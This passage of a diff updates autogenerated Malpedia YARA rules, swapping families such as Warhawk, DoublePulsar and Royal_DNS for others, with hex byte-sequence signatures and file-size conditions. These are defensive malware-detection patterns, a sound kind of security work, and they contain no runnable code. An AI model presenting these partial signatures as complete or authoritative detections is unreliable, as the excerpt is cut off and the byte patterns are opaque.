e8???????? 83f800 7405 8b45ec } + $sequence_16 = { ff15???????? 488bce 488bd8 ff15???????? 488364243800 488364243000 4c8bc6 } + $sequence_17 = { ba14008410 488b01 ff5028 3bc6 747d } + $sequence_18 = { 488b55d7 488b01 488364242000 4c8d0d240f0000 ff9080000000 3bc6 } + $sequence_19 = { 8945f0 83f800 0f84e7000000 6804010000 ff75f0 } + $sequence_20 = { 83f800 742e 8b5d08 8b4df4 8b4114 8903 8b4110 } + $sequence_21 = { 488bce ff15???????? 488364243800 488364243000 8364242800 488364242000 448bc8 } + $sequence_22 = { 689c000000 e8???????? 8945fc 83f800 0f84ab000000 } condition: - 7 of them and filesize < 294912 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Warhawk_Auto : FILE +rule MALPEDIA_Win_Qaccel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7fcbe369-7eba-5509-9f6c-bc41b0560179" + id = "f1f0f47f-9fac-5c10-a4e8-a1707e10823b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warhawk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warhawk_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qaccel_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "44d5f6f70697925bfa262390ea7caffa63c489e29c99852e5d174229a319929a" + logic_hash = "3da505a80435da5e26f3793d381f00e69d927d9829311958eb99f2abec85d62f" score = 75 quality = 75 tags = "FILE" @@ -145784,32 +145670,32 @@ rule MALPEDIA_Win_Warhawk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8be5 5d c3 bb02000000 8b4dfc 8bc3 } - $sequence_1 = { 83f809 0f8799000000 ff248521b34000 ff7510 ff750c e8???????? } - $sequence_2 = { 0f8482000000 53 57 6a28 ff15???????? 8bd8 83c404 } - $sequence_3 = { 0f8473010000 8d85fcfbffff 8d5001 660f1f440000 8a08 40 84c9 } - $sequence_4 = { 0fb606 50 e8???????? 0fb60b } - $sequence_5 = { e711 a0???????? ad fb 93 9f b66c } - $sequence_6 = { 85c9 7406 8b4204 894104 8b4e08 3bd1 } - $sequence_7 = { 8b7d0c 33db 897df4 8975f8 8945fc 8a06 3a8358e94100 } - $sequence_8 = { 0fb680201c4000 ff2485001c4000 c6065c eb30 c60622 eb2b c60662 } - $sequence_9 = { 660f2fda 0f93c0 85c0 754d } + $sequence_0 = { 85c0 0f842b010000 8b7d0c 85ff 0f8420010000 8b4d10 85c9 } + $sequence_1 = { 0f880a000000 0f8904000000 5f 5f } + $sequence_2 = { 41 83c210 894df8 8b1b } + $sequence_3 = { ff15???????? 50 ff15???????? 85db 7525 b941000000 } + $sequence_4 = { 8bf9 81e1ffff0000 83c102 51 ff15???????? 8bf0 } + $sequence_5 = { 8b35???????? 83c408 ffd6 99 b91a000000 } + $sequence_6 = { 5f 8b4d24 85c9 740a 8b45e0 } + $sequence_7 = { 85c0 0f8439010000 8b55fc 81e2ffff0000 } + $sequence_8 = { 5f 8b86f0000000 8b550c 50 52 ff15???????? 83c408 } + $sequence_9 = { 83c9ff f2ae f7d1 2bf9 8d95fcfeffff 8bf7 } condition: - 7 of them and filesize < 2345984 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Doublepulsar_Auto : FILE +rule MALPEDIA_Win_Aperetif_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e360b7f1-7141-5d69-b347-a9d866ef6b2b" + id = "1685b19d-bab9-559e-a837-4099892bca74" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublepulsar_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aperetif_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "459595fa25b87fbf8bb9d6bb59b89562d36c28a4b010623ea717539c5888323b" + logic_hash = "8b99a188c4357f2054441c5cc8823b451c95e41e20e854ee376e3b8dd6441f0d" score = 75 quality = 75 tags = "FILE" @@ -145823,32 +145709,32 @@ rule MALPEDIA_Win_Doublepulsar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 668b00 c3 81e2ffff0000 c1e202 01d1 8b09 01c8 } - $sequence_1 = { 6852445000 ff75fc 6a01 ff13 } - $sequence_2 = { 894530 8b4620 8b7d65 83c703 8907 8b4628 a902000000 } - $sequence_3 = { ff500c 85c0 748c 33c0 5f 5e 5b } - $sequence_4 = { 8b8c003cb54000 03c0 894e5c 8b9040b54000 895660 8b8844b54000 894e64 } - $sequence_5 = { 85c0 7463 8b442444 6a0e 53 50 } - $sequence_6 = { 88c8 c1e908 00c8 c1e908 00c8 c1e908 00c8 } - $sequence_7 = { 03d8 2be8 85ed 75ac } - $sequence_8 = { e8???????? a1???????? 33c4 898424a0100000 55 56 8bb424b0100000 } - $sequence_9 = { 0f85f4000000 41 83f813 0f8287010000 8b4a0b 41 8bc0 } + $sequence_0 = { ff7708 50 e8???????? 83c40c ff7708 8b442418 50 } + $sequence_1 = { f20f1186080b0000 c7452400000000 e9???????? 85c9 0f84d8050000 697528100b0000 33ff } + $sequence_2 = { 8bef 8d041b 50 8b442414 8b401c ff30 ff742424 } + $sequence_3 = { e8???????? 8d48fe b82d000000 668901 eb0c 50 8d45ee } + $sequence_4 = { e8???????? 8bf0 83c410 85f6 7511 68db020000 68???????? } + $sequence_5 = { 8bc1 c1e810 0fb6c0 c1e208 0fb68068b98700 0bd0 8bc1 } + $sequence_6 = { 8b5604 83c604 85d2 0f8421010000 8d4a01 8bc2 f00fb10e } + $sequence_7 = { f20f5ec8 0f28d1 f20f59cb f20f59542448 660f2f0d???????? 7740 f20f1005???????? } + $sequence_8 = { ff7508 8910 8b55e8 897004 895008 e8???????? c74310507c5c00 } + $sequence_9 = { eb46 8b01 52 8d55d4 c745fc00000000 52 ff5014 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 10500096 } -rule MALPEDIA_Win_Royal_Dns_Auto : FILE +rule MALPEDIA_Win_Mortis_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e4eee0e-991f-5e5c-8e46-34ff6666420e" + id = "f1dc50d3-c8e9-5fa8-9af5-7aac8f083303" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royal_dns_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortis" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mortis_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "ebf3458b22350e610da4d705384f784d27dfca7bf952035b68054c9acd2a2a7b" + logic_hash = "0e2f339d3dda0007a7d364688897ee3fa718ccca078261699c7cc12487f6f0da" score = 75 quality = 75 tags = "FILE" @@ -145862,32 +145748,32 @@ rule MALPEDIA_Win_Royal_Dns_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c 56 83c30d 8d85d8fcffff 53 50 } - $sequence_1 = { 83c404 83bdb1f7ffff64 8b8dbbf7ffff 8d70f1 7559 83f964 7554 } - $sequence_2 = { f3a5 e8???????? 83c40c b908000000 } - $sequence_3 = { be???????? 8d7dd8 f3a5 83c40c 6a01 a4 e8???????? } - $sequence_4 = { 0fb65c0602 c1ea07 03db 0bd3 83e21f 0fb69248132500 885104 } - $sequence_5 = { 8d85c0feffff 6a00 50 c785b0feffffa9ea6152 c785b4feffffe7a5db56 } - $sequence_6 = { 7416 83fe04 7511 8b95bff7ffff 89957cf1ffff e9???????? 85c9 } - $sequence_7 = { 6888130000 ff15???????? 4e 75f2 68e4000000 8d85c0f5ffff 6a00 } - $sequence_8 = { 393d???????? 7c11 6860ea0000 ffd6 c705????????00000000 68b80b0000 } - $sequence_9 = { 772a ff248590162400 6a01 6a03 } + $sequence_0 = { 6bcf38 030c95201f4400 f6412d01 7428 e8???????? c70016000000 e8???????? } + $sequence_1 = { 68???????? 51 50 51 ffb54cfdffff 8d4d98 e8???????? } + $sequence_2 = { 8d1476 c1e204 8d0476 57 03d7 8d0cc7 e8???????? } + $sequence_3 = { 8d8d40feffff 6a00 034804 33c0 394138 0f94c0 8d048502000000 } + $sequence_4 = { c645fc01 8d8da0fdffff 6a07 0f57c0 c785b0fdffff00000000 68???????? 0f1185a0fdffff } + $sequence_5 = { f20f591485d08c4300 660f5834c5e0944300 660f54c5 f20f5ce8 f20f58fa f20f10d8 f20f59c1 } + $sequence_6 = { 8b07 6a01 68???????? 51 50 51 ffb54cfdffff } + $sequence_7 = { c60000 c645fc04 8b8d3cfdffff 83f910 722f 8b9528fdffff 41 } + $sequence_8 = { 7544 ba???????? b9???????? e8???????? 8bf0 ff15???????? } + $sequence_9 = { 68???????? 0f1185e8fdffff c785fcfdffff00000000 e8???????? c645fc05 8d8d00feffff 6a0a } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 577536 } -rule MALPEDIA_Win_Mosquito_Auto : FILE +rule MALPEDIA_Win_Tildeb_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "34ccfc9c-1c07-526c-894b-5084961ae1c7" + id = "c974fa6c-0d31-59bc-a143-d1c23bc433da" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mosquito_auto.yar#L1-L177" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tildeb_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "4f8e972330c002e4476c43f04fdf320df70c4455b51cf01f5f99efe08713790b" + logic_hash = "7842b223356a837886d4f126b2b0f2ea5dcea94b3925e6e82a6b6f41a78e7627" score = 75 quality = 75 tags = "FILE" @@ -145901,41 +145787,32 @@ rule MALPEDIA_Win_Mosquito_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7d8 1bc0 83e0b4 83c04c } - $sequence_1 = { 52 50 6a00 6801c1fd7d } - $sequence_2 = { 8bfc f3a5 ff942464020000 81c450020000 } - $sequence_3 = { 894b02 8bcf 8b17 ff5208 } - $sequence_4 = { 8b750c 57 894dfc 8d5e06 53 e8???????? 8bf8 } - $sequence_5 = { ff5010 85c0 7436 837dfc00 7409 } - $sequence_6 = { f3a5 ff942460020000 81c450020000 85c0 } - $sequence_7 = { e8???????? 6a20 8bf0 e8???????? 8bc8 } - $sequence_8 = { 51 8b55fc 52 8b45f8 50 ff15???????? 8b4dfc } - $sequence_9 = { 6801c1fd7d e8???????? 8bd8 eb02 } - $sequence_10 = { e8???????? 83c40c e8???????? 6a20 } - $sequence_11 = { 0000 006301 1000 7500 } - $sequence_12 = { ff15???????? 6a00 56 ff15???????? 8903 } - $sequence_13 = { 0000 006500 676c 0010 } - $sequence_14 = { 0000 00645657 8b7dc2 0400 } - $sequence_15 = { 0000 0032 08804d086440 5e } - $sequence_16 = { 0000 0001 1001 c550f0 8b8078005900 } - $sequence_17 = { 0000 0018 a0???????? 57 } - $sequence_18 = { 0000 00748078 3001 40 } + $sequence_0 = { 8bbc24e0000000 03fb 03ef 8b3d???????? } + $sequence_1 = { ff15???????? e9???????? 6810270000 8b0d???????? 51 ff15???????? 85c0 } + $sequence_2 = { 83c8ff 5e 81c494010000 c3 b80a000000 5e 81c494010000 } + $sequence_3 = { 8d4c2420 e8???????? 50 ff15???????? 8bf8 83c9ff 33c0 } + $sequence_4 = { 50 51 ff15???????? 3d040000c0 7516 8b16 } + $sequence_5 = { b9???????? e8???????? 6a00 6a04 8d85e0f9ffff 50 } + $sequence_6 = { 8d85e4f9ffff 50 6800040000 ff15???????? 8d8de0f5ffff 51 6a00 } + $sequence_7 = { 33dd 8bac24d0000000 899c24ec000000 8b9c24e4000000 33dd 8bac24b8000000 33dd } + $sequence_8 = { 89442460 8b442454 8d4c2458 33f0 51 89742468 e8???????? } + $sequence_9 = { 85c0 7507 c605????????01 68???????? 68???????? 8b3d???????? ffd7 } condition: - 7 of them and filesize < 1015808 + 7 of them and filesize < 8532488 } -rule MALPEDIA_Win_Rad_Auto : FILE +rule MALPEDIA_Win_Doppelpaymer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8a099829-2dbe-5073-9ece-c0e3e763fe4a" + id = "1dc537b4-6f02-5ffb-95a3-e1931065b1d5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rad" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rad_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doppelpaymer_auto.yar#L1-L187" license_url = "N/A" - logic_hash = "2d90510a72fef277223444468a95d2c25d3c61f771625c4fd1893b29c13678f2" + logic_hash = "afd64f2ddb5bd37f521cb40f0013348f346b9ab89a5e6cb99d5de3a1977e77f0" score = 75 quality = 75 tags = "FILE" @@ -145949,32 +145826,40 @@ rule MALPEDIA_Win_Rad_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d8d9cfdffff c645fc1a ff15???????? c645fc19 } - $sequence_1 = { 51 ff15???????? 83c404 33c0 8945c8 } - $sequence_2 = { 5b c3 83fefe 760b } - $sequence_3 = { 8d8f10030000 c684240c06000016 ff15???????? 8d4c2458 c684240806000015 ffd3 39742450 } - $sequence_4 = { 89742410 c684240001000006 85f6 7447 8bce ff15???????? c706???????? } - $sequence_5 = { e8???????? 8d4c2434 68???????? 51 e8???????? 8b35???????? 6a14 } - $sequence_6 = { ff25???????? 8db514faffff e9???????? 8db530faffff e9???????? 8d8d4cfaffff } - $sequence_7 = { 8b75e0 8bd6 83fe06 7205 } - $sequence_8 = { 8975b0 eb03 897db0 8b55b0 8955ac c645fc04 } - $sequence_9 = { 59 8be5 5d c20400 8d4df0 c645fc00 ff15???????? } + $sequence_0 = { 7523 80790264 751d 80790561 } + $sequence_1 = { 751d 80790561 7517 80790361 7511 80790474 } + $sequence_2 = { e8???????? 8b08 e8???????? 3db6389096 } + $sequence_3 = { 80790361 7511 80790474 750b 80790173 7505 80392e } + $sequence_4 = { baffffff7f 43 e8???????? 3bd8 } + $sequence_5 = { 83ec28 6800002002 6a00 6a01 } + $sequence_6 = { 8d8c2478010000 e8???????? 8d8c246c010000 e8???????? 8d8c24dc010000 e8???????? 8d8c24cc010000 } + $sequence_7 = { e8???????? 85c0 740d 6a00 ff742440 ffd0 85c0 } + $sequence_8 = { c20800 897de0 897de4 897de8 8d4900 } + $sequence_9 = { 895ddc 0f84f0000000 e9???????? b801000000 b925155e0b } + $sequence_10 = { c20800 8b31 8955f8 8955fc } + $sequence_11 = { 8b4d0c 8b5508 83f800 8945f4 894df0 8955ec 7528 } + $sequence_12 = { 894de4 8955e0 897ddc 8975d8 } + $sequence_13 = { 8945e8 eb0c a1???????? ffd0 8945e4 ebc9 8b45e8 } + $sequence_14 = { 8945e4 ebe3 b8c6ea1451 2b45ec 8b4dd8 81c1ffff0000 } + $sequence_15 = { 8b7e38 897dc8 8955cc 893424 c744240400000000 c744240858000000 } + $sequence_16 = { 8b55d8 8bb2a0000000 8b7de4 01f7 89fb 83c304 8b55e4 } + $sequence_17 = { 8b8578ffffff b909fcb97e 2b4df0 8b55a4 39ca } condition: - 7 of them and filesize < 207872 + 7 of them and filesize < 7266304 } -rule MALPEDIA_Win_Pvzout_Auto : FILE +rule MALPEDIA_Win_Yorekey_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3a2ef17b-53cd-553c-9129-4e623095fe72" + id = "53555fbf-037b-5e64-8224-50e96dcbd224" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pvzout_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yorekey_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "a07bc946194cd01a9387c49797743aad8628a2824c8c9c6f1536148459ed0ba4" + logic_hash = "41e7314d91a8ca800c9d1b91b639e00add0929573052dd3660fca999dcefb1ff" score = 75 quality = 75 tags = "FILE" @@ -145988,32 +145873,37 @@ rule MALPEDIA_Win_Pvzout_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { d4a1 0e 75a8 43 } - $sequence_1 = { bf95f6810e 75a8 43 1dea50873a d4a1 0e } - $sequence_2 = { 43 1dea50873a d4a1 0e 75a8 43 1dea50873a } - $sequence_3 = { 1dea50873a d4a1 0e 75a8 43 1dea50873a } - $sequence_4 = { 3089f33d80f3 48 e21c 3e3f 19e9 } - $sequence_5 = { 18830d88a01c 51 ab 25b53ae778 f3bd95ab4ed8 } - $sequence_6 = { 1dea50873a d4a1 0e 75a8 } - $sequence_7 = { 19e9 73f8 dca10ebd24e8 252b0026cb 9e } - $sequence_8 = { d4a1 0e 75a8 43 2f 3089f33d80f3 } - $sequence_9 = { 5a bf95f6810e 75a8 43 } + $sequence_0 = { 750a 85c0 7506 ff15???????? } + $sequence_1 = { 4881ec80000000 488b05???????? 4833c4 488945f0 488d55a0 } + $sequence_2 = { a1???????? 8bd0 83f910 7305 ba???????? } + $sequence_3 = { 3da1000000 761b 3da3000000 7714 } + $sequence_4 = { 488bc7 c6041800 ffc5 49ffc6 } + $sequence_5 = { 488b05???????? 4833c4 4889442458 8b01 488bf9 } + $sequence_6 = { 88541c2f 4881fb00010000 72dd 8b5704 8b0f 4c8d442430 4c8bce } + $sequence_7 = { 8bd9 7418 488d0df7f50000 e8???????? 85c0 7408 } + $sequence_8 = { 50 56 8d8c240c080000 51 52 ffd7 } + $sequence_9 = { 8955f0 0fbe13 52 894dec 8b0d???????? 8945f4 8d45e4 } + $sequence_10 = { 8d4598 b919000000 be???????? 8d7d98 50 f3a5 ff15???????? } + $sequence_11 = { 68ff000000 e8???????? 59 59 8b7508 8d34f5d8194100 } + $sequence_12 = { 0fbe84c140e14000 6a07 c1f804 59 } + $sequence_13 = { cc 488d0de61f0100 e8???????? cc 85f6 } + $sequence_14 = { 488b13 498b0f 488d0549470000 4889442450 488b85f0040000 4c8d442430 4889442460 } condition: - 7 of them and filesize < 573440 + 7 of them and filesize < 274432 } -rule MALPEDIA_Win_Darkmegi_Auto : FILE +rule MALPEDIA_Win_Quarterrig_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e022205f-532d-5998-8adc-7461a155f6b2" + id = "773e603c-b2a3-5ce5-ad18-62d70b454a9c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkmegi_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quarterrig_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "186562bccca029dc0a54ad2573032322c99b928af1a23f4cf752d54c2cfd880f" + logic_hash = "e5d3fc199bcc485e4ab028e477fcfeb78c0e1cd4e9776332bb130fba34692b6a" score = 75 quality = 75 tags = "FILE" @@ -146027,32 +145917,32 @@ rule MALPEDIA_Win_Darkmegi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33f6 6804010000 50 56 ff15???????? 8d8c2488090000 } - $sequence_1 = { 3bd9 7cd2 8806 5f 5e 5d 5b } - $sequence_2 = { 57 8b7c2414 57 e8???????? 8b542414 83c404 8d4c2408 } - $sequence_3 = { 8d0440 8b8c8420010000 c6040a00 8b442410 } - $sequence_4 = { f2ae 8bcd 4f c1e902 f3a5 8b842464020000 } - $sequence_5 = { 85c0 0f849f000000 8dbc246c020000 83c9ff 33c0 } - $sequence_6 = { 8d04c0 8b0c8d40a7b402 f644810401 8d0481 7403 8b00 } - $sequence_7 = { 5d 5b c3 8b542414 5f 5e 5d } - $sequence_8 = { 8bac24a8020000 53 66ab aa } - $sequence_9 = { 3bf8 0f8d43010000 8d4c2414 8d942498030000 51 } + $sequence_0 = { 488d95f0010000 488d4c2460 e8???????? 410fbaec07 4489642434 488d542460 48837c247810 } + $sequence_1 = { 7506 443a5802 7420 498bc1 492bc2 4903c0 663b10 } + $sequence_2 = { 482bd7 4a0fbeb43850140600 8d4e01 4863c1 483bc2 0f8fe4010000 83f904 } + $sequence_3 = { 4c89442418 4c894c2420 4883ec28 b95772865c e8???????? 4c8bf8 b95772865c } + $sequence_4 = { 84c0 0f85a6000000 488d5770 488d8d10010000 e8???????? 84c0 0f8588000000 } + $sequence_5 = { 80e107 c0e103 498bc5 48d3e8 43300408 49ffc0 4983f803 } + $sequence_6 = { c3 488d0d7ad90500 e8???????? 833d????????ff 75d2 66c705????????1301 } + $sequence_7 = { 498d8fc0000000 498bd1 e8???????? 90 488b55d7 4883fa10 720c } + $sequence_8 = { 80e107 c0e103 48b8fff3a94f9f372b79 48d3e8 42300402 48ffc2 4883fa07 } + $sequence_9 = { 418ac9 80e107 c0e103 49b81bf1eb35955fe34f 49d3e8 45300401 49ffc1 } condition: - 7 of them and filesize < 90304 + 7 of them and filesize < 971776 } -rule MALPEDIA_Win_Sanny_Auto : FILE +rule MALPEDIA_Win_Vsingle_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3b4b3143-6e56-57d2-a40c-de1821af2738" + id = "d7b6b6db-e313-5b0b-a645-6bf26597d2b3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sanny_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vsingle_auto.yar#L1-L167" license_url = "N/A" - logic_hash = "e2fbc4a585eb4f31f4417da33af8b6c1fed46bb262bdcc20859cec67dc3394ca" + logic_hash = "f69fc53fa8d26d98505b2a81c4ca94e19258f9d652d84433b0b518828946acca" score = 75 quality = 75 tags = "FILE" @@ -146066,32 +145956,38 @@ rule MALPEDIA_Win_Sanny_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 56 e8???????? 8b4c2434 8b542430 51 52 } - $sequence_1 = { 8b4c240c 6a05 51 8bce } - $sequence_2 = { 8d4c241c 51 8d542444 6a00 8d4c2434 52 51 } - $sequence_3 = { 894614 83c002 50 e8???????? 8b4e14 83c404 41 } - $sequence_4 = { eb63 3c02 755f 8b861cc70000 85c0 7455 8b542408 } - $sequence_5 = { 8b542410 52 ffd5 8d442414 43 50 53 } - $sequence_6 = { 8b54244c 8d442454 8d4c240c 50 51 8d442428 52 } - $sequence_7 = { 81ec08040000 8d442400 56 8bb42414040000 50 8b842420040000 8d54240c } - $sequence_8 = { 53 57 8d3c85c4714100 bb00100000 7520 53 } - $sequence_9 = { 8d3449 2bd1 8d34b530634100 832600 83c60c 4a 75f7 } + $sequence_0 = { 668985ccb6ffff 6800200000 6a00 8d8dceb6ffff 51 e8???????? } + $sequence_1 = { 50 6800010000 8b4508 50 } + $sequence_2 = { 50 51 b8b0490000 e8???????? } + $sequence_3 = { 83c404 50 8d4dd0 51 e8???????? 83c40c } + $sequence_4 = { 035508 b801000000 d1e0 8a4dff 880c02 ba04000000 } + $sequence_5 = { 035508 be01000000 d1e6 8a0408 } + $sequence_6 = { 50 0fb78d10efffff 51 0fb79516efffff 52 0fb78512efffff 50 } + $sequence_7 = { 668985d4f6ffff 68fe070000 6a00 8d8dd6f6ffff } + $sequence_8 = { 81c29733eaa8 81f2e97da1b5 81ea52e5b08e 81c2f77c29e2 81ea4b516cc2 89042a 5a } + $sequence_9 = { 5f 51 57 51 b9cd968197 } + $sequence_10 = { 51 b9b187ff90 81e95e49f864 81c17c65b866 81c10f9cc186 } + $sequence_11 = { 81c2b953352c 81c26fe1dd9a 81eaf2033eb3 81f2866440c5 81f237c658eb 81c2a804b1a7 } + $sequence_12 = { 5b 53 bb8fbc7c14 81c30cf1050f e9???????? 5e } + $sequence_13 = { 7505 e9???????? 50 b8e64d1443 81e8dc1e5dbe eb0a } + $sequence_14 = { 89042e 5e 56 be76e3d36a 81ee46419e0d } + $sequence_15 = { 81f19d49dcd4 81e9c159bc74 890429 59 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 940032 } -rule MALPEDIA_Win_Ice_Cache_Auto : FILE +rule MALPEDIA_Win_Moonbounce_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2bb6d9ef-4306-54f0-bb68-5fe8abb99071" + id = "300bd16a-9128-501e-b6a9-aa7b7927b326" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_cache" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_cache_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonbounce_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "257ed7cb63e1c0858485a90386f353a13f9ab5e026a2c8483909741253dfdd4d" + logic_hash = "07326c1e5d89427ce612fcc5180ad0922ace80e6e89b51e53f272b71223e0de4" score = 75 quality = 75 tags = "FILE" @@ -146105,32 +146001,32 @@ rule MALPEDIA_Win_Ice_Cache_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4156 4157 4883ec30 488b19 498be8 4c8bf2 } - $sequence_1 = { 488bd9 4885c0 7479 488d0d0a520200 483bc1 746d 488b83e0000000 } - $sequence_2 = { 33d2 498bce e8???????? 90 488d8c24080f0000 e8???????? e9???????? } - $sequence_3 = { 0f114a10 4c894110 48c741180f000000 448801 44894220 4883c420 } - $sequence_4 = { 48f7d0 493bc6 0f8694000000 48897c2430 4a8d3c01 4d85f6 746d } - $sequence_5 = { 488b542448 488d4c2448 e8???????? e8???????? e8???????? 0fb6c3 488b4c2468 } - $sequence_6 = { 744c 0fb618 48ffc0 48894710 83fbff 7440 } - $sequence_7 = { 74e8 488bd8 4889442470 493bdf 7410 488d5320 498bce } - $sequence_8 = { 7536 4c8bc7 488d1502700300 660f1f440000 0fb702 663901 } - $sequence_9 = { 418bf0 4c8d0d0f870100 8bda 4c8d05fe860100 } + $sequence_0 = { 8b4dd4 0500100000 83c418 8901 } + $sequence_1 = { b9???????? 2bc8 51 50 8b4508 83c014 50 } + $sequence_2 = { 8945d8 53 8d45dc 50 ff15???????? 8d45d0 8945f8 } + $sequence_3 = { 034004 83780400 7798 8d8680000000 83780400 } + $sequence_4 = { 57 57 83c60c 56 ff15???????? 5f } + $sequence_5 = { ff7508 ff15???????? 6a40 6800300000 8d45fc 50 } + $sequence_6 = { 84c0 7518 8b4310 56 } + $sequence_7 = { 8365f400 8d5008 895508 8b5004 03cb 83c2f8 894df0 } + $sequence_8 = { 8b45f0 0fb70448 8b4f1c 8d0c81 8b4508 8b1c01 03d8 } + $sequence_9 = { 8d450c 50 ff750c 33db ff15???????? } condition: - 7 of them and filesize < 801792 + 7 of them and filesize < 70912 } -rule MALPEDIA_Win_Unidentified_069_Auto : FILE +rule MALPEDIA_Win_Radrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "afe1465e-cfb7-567e-8fc3-f22e1927c9fa" + id = "8cc3544a-ed32-5550-b925-dec2c9f06198" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069" - source_url = 